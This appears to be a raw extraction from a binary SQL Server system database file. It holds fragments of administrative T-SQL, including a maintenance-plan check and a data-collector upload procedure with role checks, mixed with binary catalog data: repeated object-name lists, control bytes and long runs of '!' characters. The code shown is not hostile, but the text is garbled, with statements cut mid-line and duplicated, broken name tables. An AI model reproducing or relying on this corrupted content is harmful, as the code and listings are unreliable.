		vol.volume_name AS volume_name, 
		vol.volume_device_id AS volume_device_id, 
		vol.total_space_utilization AS current_utilization, 
		vol.total_space_used AS used_space,
		vol.total_space AS available_space,
		10 AS under_utilization, 
		70 AS over_utilization
FROM	msdb.dbo.sysutility_ucp_volumes AS vol,
		msdb.dbo.sysutility_ucp_instances AS svr
WHERE	vol.physical_server_name = svr.ComputerNamePhysicalNetBIOS)
             WHERE plan_id=@plan_id))
  BEGIN
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)
    RAISERROR(14262,-1,-1,'@plan_id',@syserr)
    RETURN(1)
  END
  /*check if the database name is valid */
  IF (NOT EXISTS (SELECT name
              FROM master.dbo.sysdatabases
              WHERE name=@db_name))
   BEGIN
    RAISERROR(14262,-1,-1,'@db_name',@db_name)
    RETURN(1)
  END
  /*check if the (plan_id, database) pair already exists*/
  IF (EXISTS (SELECT *
              FROM sysdbmaintplan_databases
              WHERE plan_id=@plan_id AND database_name=@db_name))
  BEGIN
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)+' + '+@db_name
    RAISERROR(14261,-1,-1,'@plan_id+@db_name',@syserr)
    RETURN(1)
  END
  INSERT INTO msdb.dbo.sysdbmaintplan_databases (plan_id,database_name) VALUES (@plan_id, @db_name)
END
06 8CREATE PROCEDURE [dbo].[sp_syscollector_upload_collection_set]
    @collection_set_id        int = NULL,
    @name                     sysname = NULL
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    EXECUTE AS CALLER;
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        REVERT;
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN(1) -- Failure
    END
    REVERT;

    -- Verify the input parameters
    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_set @collection_set_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    -- Make sure the collection set is running and is in the right mode
    DECLARE @is_running bit
    DECLARE @collection_mode smallint

    SELECT 
        @is_running = is_running,
        @collection_mode = collection_mode            
    FROM [dbo].[syscollector_collection_sets]
    WHERE collection_set_id = @collection_set_id

    IF (@collection_mode <> 0)
    BEGIN
        RAISERROR(14694, -1, -1, @name)
        RETURN(1)
    END

    IF (@is_running = 0)
    BEGIN
        RAISERROR(14674, -1, -1, @name)
        RETURN(1)
    END

    -- Make sure the collector is enabled
    EXEC @retVal = [dbo].[sp_syscollector_verify_collector_state] @desired_state = 1
    IF (@retVal <> 0)
        RETURN (1)

    -- Check if the upload job is currently running
    DECLARE @is_upload_job_running INT
    EXECUTE [dbo].[sp_syscollector_get_collection_set_execution_status]
        @collection_set_id = @collection_set_id,
        @is_upload_running = @is_upload_job_running OUTPUT

    IF (@is_upload_job_running = 0)
    BEGIN
        -- Job is not running, we can trigger it now
        DECLARE @job_id UNIQUEIDENTIFIER
        SELECT @job_id = upload_job_id 
            FROM [dbo].[syscollector_collection_sets] 
            WHERE collection_set_id = @collection_set_id

        EXEC @retVal = sp_start_job @job_id = @job_id
        IF (@retVal <> 0)
            RETURN (1)
    END

    RETURN (0)
END
0
B7 D8xh2#3!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!u`
ID"HXc!&BNdDsp_syscollector_create_jobs&h2lsp_syscollector_delete_collection_item_internal&G-Xsp_syscollector_delete_collector_type&$S
	lsp_syscollector_get_warehouse_connection_string&
"Tsp_syscollector_set_cache_directory&.Nsp_syscollector_set_cache_window&y-dsp_syscollector_set_warehouse_database_name&@9dsp_syscollector_set_warehouse_instance_name&~D1Zsp_syscollector_update_collection_item&E $0lsp_syscollector_update_collection_item_internal&&4Xsp_syscollector_update_collection_set&@jsp_syscollector_update_collection_set_internal&ґ%Xsp_syscollector_update_collector_type&LNsp_syscollector_update_job_proxy&&Fsp_syscollector_validate_xml&;.Zsp_syscollector_verify_collection_item&	*pXsp_syscollector_verify_collection_set&EZsp_syscollector_verify_collector_state&`I#Xsp_syscollector_verify_collector_type&1z4sp_sysmail_activate&3Zsp_syscollector_delete_collection_item&)3Vsp_syscollector_start_collection_set&b4Tsp_syscollector_stop_collection_set&5tsp_syscollector_get_collection_set_execution_status&6Xsp_syscollector_upload_collection_set&
B7Rsp_syscollector_run_collection_set&9^sp_syscollector_stop_collection_set_jobs&:`sp_syscollector_start_collection_set_jobs&cf?Dsp_syscollector_delete_jobs&+DTsp_syscollector_verify_event_log_id&+=E\sp_syscollector_event_oncollectionstart&daFZsp_syscollector_event_oncollectionstop&G\sp_syscollector_event_oncollectionbegin&֩GXsp_syscollector_event_oncollectionend&HVsp_syscollector_event_onpackagebegin&HIRsp_syscollector_event_onpackageend&JXsp_syscollector_event_onpackageupdate&:KHsp_syscollector_event_onerror&^LTsp_syscollector_event_onstatsupdate&I8yR`sp_syscollector_delete_execution_log_tree&\mSjsp_syscollector_delete_collection_set_internal&aTXsp_syscollector_delete_collection_set&UUXsp_syscollector_purge_collection_logs&-IVNsp_syscollector_enable_collector&f=WPsp_syscollector_disable_collector&2XJsp_syscollector_get_trace_info&5&Y\sp_syscollector_text_query_plan_lookpup&ZZLsp_syscollector_sql_text_lookup&\Dsp_syscollector_get_instmdw&]Jsp_syscollector_upload_instmdw&bdsp_syscollector_create_tsql_query_collector&Kģcvsp_syscollector_get_tsql_query_collector_package_ids&qhsp_sysmanagement_add_shared_registered_server&9Fsp_sysdac_ensure_dac_creator&'^:sp_sysdac_add_instance&`@sp_sysdac_update_instance&Dsp_sysdac_add_history_entry&@sp_sysdac_delete_instance&>sp_sysdac_delete_history&DBsp_sysdac_upgrade_instance&}7<sp_sysdac_drop_database&[@sp_sysdac_rename_database&Jsp_sysdac_setreadonly_database&(Jsp_sysdac_update_history_entry&aw Lsp_sysdac_resolve_pending_entry&k!Psp_sysdac_rollback_committed_step&`"Psp_sysdac_rollback_pending_object&5T#Zsp_sysdac_rollback_all_pending_objects_event_oncollectionbegin&֩GXsp_syscollector_event_oncollectionend&HVsp_syscollector_event_onpackagebegin&HIRsp_syscollector_event_onpackageend&JXsp_syscollector_event_onpackageupdate&:KHsp_syscollector_event_onerror&^LTsp_syscollector_event_onstatsupdate&I8yR`sp_syscollector_delete_execution_log_tree&\mSjsp_syscollector_delete_collection_set_internal&aTXsp_syscollector_delete_collection_set&UUXsp_syscollector_purge_collection_logs&-IVNsp_syscollector_enable_collector&f=WPsp_syscollector_disable_collector&2XJsp_syscollector_get_trace_info&5&Y\sp_syscollector_text_query_plan_lookpup&ZZLsp_syscollector_sql_text_lookup&\Dsp_syscollector_get_instmdw&]Jsp_syscollector_upload_instmdw&bdsp_syscollector_create_tsql_query_collector&Kģcvsp_syscollector_get_tsql_query_collector_package_ids&0	pbsp_sysmanagement_verify_shared_server_type&ip^sp_sysmanagement_add_shared_server_group&qhsp_sysmanagement_add_shared_registered_server&rdsp_sysmanagement_delete_shared_server_group&9Fsp_sysdac_ensure_dac_creator&'^:sp_sysdac_add_instance2


\

	:$",bvfbn
dl\>*l		v(	hNt
,,

xB*

(J``H
M5"I[t$VE&ip^sp_sysmanagement_add_shared_server_group&rdsp_sysmanagement_delete_shared_server_group&0	pbsp_sysmanagement_verify_shared_server_type&,snsp_sysmanagement_delete_shared_registered_server&MPt`sp_sysmanagement_move_shared_server_group&tujsp_sysmanagement_move_shared_registered_server&vdsp_sysmanagement_update_shared_server_group&wnsp_sysmanagement_update_shared_registered_server&1xdsp_sysmanagement_rename_shared_server_group&jynsp_sysmanagement_rename_shared_registered_server&HHsp_syspolicy_check_membership&3m	Bsp_syspolicy_add_condition&Hsp_syspolicy_update_condition&٥Hsp_syspolicy_delete_condition&
Hsp_syspolicy_rename_condition&5Dsp_syspolicy_add_object_set&nJsp_syspolicy_delete_object_set&7,<sp_syspolicy_create_job&\8Nsp_syspolicy_add_policy_category&Ux9Tsp_syspolicy_delete_policy_category&l:Tsp_syspolicy_rename_policy_category&`;Tsp_syspolicy_update_policy_category&T<<sp_syspolicy_add_policy&r5=>Bsp_syspolicy_rename_policy&Y1?Bsp_syspolicy_update_policy&}%@Bsp_syspolicy_delete_policy&0KDsp_syspolicy_add_target_set&TLJsp_syspolicy_update_target_set&yMJsp_syspolicy_delete_target_set&;sNPsp_syspolicy_add_target_set_level&OYhsp_syspolicy_add_policy_category_subscription& tZnsp_syspolicy_update_policy_category_subscription&Y[nsp_syspolicy_delete_policy_category_subscription&[$l\sp_syspolicy_log_policy_execution_start&HmXsp_syspolicy_log_policy_execution_end&ln^sp_syspolicy_log_policy_execution_detail&ofsp_syspolicy_delete_policy_execution_history&?p>sp_syspolicy_mark_system&#FtDsp_syspolicy_dispatch_event&βuwBsp_syspolicy_events_reader&CF{`sp_syspolicy_set_config_history_retention&g:|Lsp_syspolicy_set_log_on_success&$.}Lsp_syspolicy_set_config_enabled&]"~:sp_syspolicy_configure&
Xsp_syspolicy_repair_policy_automation&Bsp_syspolicy_purge_history&AAHsp_syspolicy_create_purge_job&zeLsp_syspolicy_purge_health_state&cDsp_syspolicy_execute_policy&v+Lsp_syspolicy_update_ddl_trigger&|hsp_syspolicy_unsubscribe_from_policy_category&	s`Zsp_syspolicy_update_event_notification&R`sp_syspolicy_subscribe_to_policy_categoryidentifiers&\8Nsp_syspolicy_add_policy_category&Ux9Tsp_syspolicy_delete_policy_category&l:Tsp_syspolicy_rename_policy_category&`;Tsp_syspolicy_update_policy_category&T<<sp_syspolicy_add_policy&9I=Zsp_syspolicy_verify_policy_identifiers&r5=>Bsp_syspolicy_rename_policy&Y1?Bsp_syspolicy_update_policy&}%@Bsp_syspolicy_delete_policy&0KDsp_syspolicy_add_target_set&TLJsp_syspolicy_update_target_set&yMJsp_syspolicy_delete_target_set&;sNPsp_syspolicy_add_target_set_level&tgOVsp_syspolicy_update_target_set_level&OYhsp_syspolicy_add_policy_category_subscription& tZnsp_syspolicy_update_policy_category_subscription&Y[nsp_syspolicy_delete_policy_category_subscription&[$l\sp_syspolicy_log_policy_execution_start&HmXsp_syspolicy_log_policy_execution_end&ln^sp_syspolicy_log_policy_execution_detail&ofsp_syspolicy_delete_policy_execution_history&?p>sp_syspolicy_mark_system&#FtDsp_syspolicy_dispatch_event&βuwBsp_syspolicy_events_reader&CF{`sp_syspolicy_set_config_history_retention&g:|Lsp_syspolicy_set_log_on_success&$.}Lsp_syspolicy_set_config_enabled&]"~:sp_syspolicy_configure&
Xsp_syspolicy_repair_policy_automation&Bsp_syspolicy_purge_history&AAHsp_syspolicy_create_purge_job&zeLsp_syspolicy_purge_health_state&<dsp_sysutility_ucp_recreate_synonym_internal&=Nsp_sysutility_ucp_initialize_mdw&H+>Fsyn_sysutility_ucp_computers&MERsyn_sysutility_ucp_cpu_utilization&G^sp_sysutility_mi_configure_proxy_account&H`sp_sysutility_ucp_provision_proxy_account&yI\sp_sysutility_mi_validate_proxy_account&f&bK^sp_sysutility_mi_create_job_validate_wmi&JVL\sp_sysutility_mi_create_cache_directory&&PXsp_sysutility_mi_add_ucp_registration&cDsp_syspolicy_execute_policy n4xPVp0	h
T$p2

,.z
D>
f	V
2LPx`	
" R`
Oh".J\<)&C*sysremsvcbinds&/"sysrmtlgns&A(sysrowsetrefs&"sysrowsets& sysrscols&Esysrts&2*sysscalartypes&eQ&sysschedules&WHsysschedules_localserver_view&""sysschobjs&	*sysseobjvalues&F$syssessions&J.syssingleobjrefs&b*syssoftobjrefs&`&syssqlguides&s"sysssislog&Z>p8sysssispackagefolders&=yk,sysssispackages&_2(syssubsystems&\`Dsystargetservergroupmembers&7_8systargetservergroups&d].systargetservers&^8systargetservers_view&,le"systaskids&3,systypedsubobjs&-$sysusermsgs&EYH$Xsysutility_ucp_configuration_internal&0&Fsysutility_ucp_configuration&$'Tsysutility_ucp_policy_configuration&2*>sysutility_ucp_dacs_stub&
{+Hsysutility_ucp_computers_stub&-Hsysutility_ucp_databases_stub&.Jsysutility_ucp_filegroups_stub&/Hsysutility_ucp_datafiles_stub&*00Fsysutility_ucp_logfiles_stub&cT1Tsysutility_ucp_cpu_utilization_stub&nJMVsysutility_mi_configuration_internal&J2ODsysutility_mi_configuration&.HSlsysutility_mi_dac_execution_statistics_internal&V`sysutility_mi_session_statistics_internal&ր]Vsysutility_mi_volumes_stage_internal&EbNsysutility_mi_cpu_stage_internal&psNsysutility_mi_smo_stage_internal&2`Xuhsysutility_mi_smo_objects_to_collect_internal&@wnsysutility_mi_smo_properties_to_collect_internal&ǎ`sysutility_ucp_managed_instances_internal&QGNsysutility_ucp_managed_instances&\sysutility_ucp_health_policies_internal&/<sysutility_ucp_policies&lsysutility_ucp_policy_check_conditions_internal&	~Zsysutility_ucp_policy_check_conditions&S-rnsysutility_ucp_policy_target_conditions_internal&uZ\sysutility_ucp_policy_target_conditions&L*Fsysutility_ucp_deployed_dacs&p+>sysutility_ucp_computers&ݐ.>sysutility_ucp_instances&/>sysutility_ucp_databases&&y0@sysutility_ucp_filegroups&9Jm1>sysutility_ucp_datafiles&rna2<sysutility_ucp_logfiles&U3Hsysutility_ucp_database_files&I4rsysutility_ucp_mi_database_file_space_utilizations&=5tsysutility_ucp_dac_database_file_space_utilizations&V16dsysutility_ucp_mi_volume_space_utilizations&#&7fsysutility_ucp_dac_volume_space_utilizations&G8Rsysutility_ucp_mi_cpu_utilizations&l9^sysutility_ucp_computer_cpu_utilizations&::Tsysutility_ucp_dac_cpu_utilizations&<Nsysutility_ucp_instance_policies&!=Nsysutility_ucp_computer_policies&WE>Dsysutility_ucp_dac_policies&i?Jsysutility_ucp_dac_policy_type&ɍ@Tsysutility_ucp_instance_policy_type&Afsysutility_ucp_mi_file_space_health_internal&X\Gbsysutility_ucp_mi_database_health_internal&dMhsysutility_ucp_dac_file_space_health_internal&>Rjsysutility_ucp_mi_volume_space_health_internal&ΞVdsysutility_ucp_computer_cpu_health_internal&_oZRsysutility_ucp_computer_cpu_health&c[Xsysutility_ucp_mi_volume_space_health&>W\Tsysutility_ucp_mi_file_space_health&wK]Psysutility_ucp_mi_database_health&?^hsysutility_ucp_dac_database_file_space_health&4_hsysutility_ucp_aggregated_dac_health_internal&@4mfsysutility_ucp_aggregated_mi_health_internal&S{Rsysutility_ucp_dac_health_internal&|*6Psysutility_ucp_mi_health_internal&aVsysutility_ucp_aggregated_dac_health&%Tsysutility_ucp_aggregated_mi_health&I@sysutility_ucp_dac_health&nx>sysutility_ucp_mi_health&Elsysutility_ucp_filegroups_with_policy_violations_internal&fsystem_components_surface_area_configuration&2system_sql_modules&Psystem_internals_allocation_units&Rsystem_internals_partition_columns&Dsystem_internals_partitions&v0system_parameters&x*system_columns&z&system_views&{*system_objects&,"sysservers&tsysusers&usystypesmputers&,:sysutility_ucp_volumes&U-^sysutility_ucp_utility_space_utilization&ݐ.>sysutility_ucp_instances&/>sysutility_ucp_databases&&y0@sysutility_ucp_filegroups&9Jm1>sysutility_ucp_datafiles&rna2<sysutility_ucp_logfiles&U3Hsysutility_L
V,BZ
2
&,^(x
0jb>^(
P
vV
		d
	>`	h&@VFd<f8Z0`8
E"K\2`]v&Rfn_syspolicy_is_automation_enabled&)(Pfn_sysutility_get_is_instance_ucp&2
m.get_principal_id&-Wn0get_principal_sid&jn0InternalMailQueue&b
)fn_sysutility_get_culture_invariant_conversion_style_internal&-nJ^fn_sysutility_mi_get_validate_wmi_script&#RVfn_sysutility_ucp_get_instance_is_mi&/[bfn_sysutility_mi_get_cpu_architecture_name&h\Vfn_sysutility_mi_get_cpu_family_name&;dtTfn_sysutility_mi_get_batch_manifest&Ozbfn_sysutility_mi_get_data_collector_status&]|Tfn_sysutility_mi_get_collect_script&l~xfn_sysutility_ucp_get_edition_is_ucp_capable_internal&lfn_sysutility_ucp_accepts_upload_schema_version&Ts%bfn_sysutility_ucp_get_global_health_policy&%\fn_sysutility_ucp_get_applicable_policy&ƻ&jfn_sysutility_ucp_get_aggregated_failure_count&'\fn_sysutility_ucp_get_policy_violations&8(vfn_sysutility_ucp_get_file_space_utilization_history&q()hfn_sysutility_ucp_get_cpu_utilization_history&;\fn_sysutility_ucp_get_aggregated_health&=7Tlog_shipping_monitor_history_detail&a8Plog_shipping_monitor_error_detail&f_?Blog_shipping_monitor_alert&FE8fn_virtualservernodes&uDfn_xe_file_target_read_file&uv.fn_trace_getinfo&FGeographyCollectionAggregate&s>fn_translate_permissions&7.KEY_COLUMN_USAGE&o/0fn_trace_gettable&=r<GeographyUnionAggregate&:Hfn_yukonsecuritymodelrequired&.BGeographyEnvelopeAggregate&\DGeometryConvexHullAggregate&/<R0fn_varbintohexstr&@GeometryEnvelopeAggregate&܂:fn_validate_plan_guide&!:GeometryUnionAggregate&@m<fn_varbintohexsubstring&@fulltext_system_stopwords&_4fn_virtualfilestats&1y2fulltext_languages&oSFGeographyConvexHullAggregate&&WDGeometryCollectionAggregate&<fulltext_document_types&5:fn_trace_getfilterinfo&=+"8fn_trace_geteventinfo&cFDfulltext_semantic_languages&2fulltext_stopwords&2fulltext_stoplists&	>fulltext_index_fragments&:function_order_columns&Hfulltext_index_catalog_usages&,,internal_tables&/,key_encryptions&H0fulltext_catalogs&f4foreign_key_columns&g&foreign_keys&j,key_constraints&k:fulltext_index_columns&l.fulltext_indexes&o(index_columns&sindexes&t.identity_columns&jfulltext_semantic_language_statistics_database&*http_endpoints&"(linked_loginsdatabases&<JPK__log_ship__093E1AB55C5147F8&=Jlog_shipping_monitor_secondary&f_?Blog_shipping_monitor_alert&z@JPK__log_ship__BD57EA57F3FC6FFE&6?openkeys&N0pdw_distributions&bt2pdw_index_mappings&FE8fn_virtualservernodes&uDfn_xe_file_target_read_file&uv.fn_trace_getinfo&hORMask&FGeographyCollectionAggregate&s>fn_translate_permissions&7.KEY_COLUMN_USAGE&o/0fn_trace_gettable&G8pdw_database_mappings&=r<GeographyUnionAggregate&:Hfn_yukonsecuritymodelrequired&.BGeographyEnvelopeAggregate&{t8pdw_loader_run_stages&\DGeometryConvexHullAggregate&/<R0fn_varbintohexstr&@GeometryEnvelopeAggregate&W:pdw_loader_backup_runs&܂:fn_validate_plan_guide&5Ppdw_table_distribution_properties&J8"PARAMETERS&!:GeometryUnionAggregate&@m<fn_varbintohexsubstring&@fulltext_system_stopwords&_4fn_virtualfilestats&֬Hpdw_loader_backup_run_details&Vpdw_health_component_status_mappings&T2pdw_table_mappings&Sp0pdw_diag_sessions&0Lpdw_health_component_properties&`Rpdw_column_distribution_properties&1y2fulltext_languages&oSFGeographyConvexHullAggregate&e)0pdw_health_alerts&&WDGeometryCollectionAggregate&Yj8pdw_health_components&<fulltext_document_types&5:fn_trace_getfilterinfo&L^Dpdw_health_component_groups&=+"8fn_trace_geteventinfo&bb$login_token&1,pdw_diag_events&cFDfulltext_semantic_languages&W|@pdw_diag_event_properties&2fulltext_stopwords&2fulltext_stoplists&	>fulltext_index_fragments&:function_order_columns&Hfulltext_index_catalog_usages0>D
`d0Vh
&r
	 @
ZR 
j
N		

r
	8rvrl0.:`

"JL\i*s?<syn_sysutility_ucp_dacs*@Jsyn_sysutility_ucp_smo_servers*O>Bsyn_sysutility_ucp_volumes&Ha sysalerts&bTsysalerts_performance_counters_view&(sysallocunits&_$sysasymkeys&;"sysaudacts&:"sysbinobjs&a(sysbinsubobjs&(sysbrickfiles&e5`f6syscachedcredentials*,AFsyn_sysutility_ucp_databases*eBHsyn_sysutility_ucp_filegroups*CFsyn_sysutility_ucp_datafiles*(DDsyn_sysutility_ucp_logfiles*IqFVsyn_sysutility_ucp_space_utilization&ծ'Bsyn_sysutility_ucp_volumes&(<syn_sysutility_ucp_dacs&G)Jsyn_sysutility_ucp_smo_servers&B*Fsyn_sysutility_ucp_databases&f+Hsyn_sysutility_ucp_filegroups&s,Fsyn_sysutility_ucp_datafiles&+g-Dsyn_sysutility_ucp_logfiles&O/Vsyn_sysutility_ucp_space_utilization&\synonyms&?,syscacheobjects&@$sysaltfiles!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!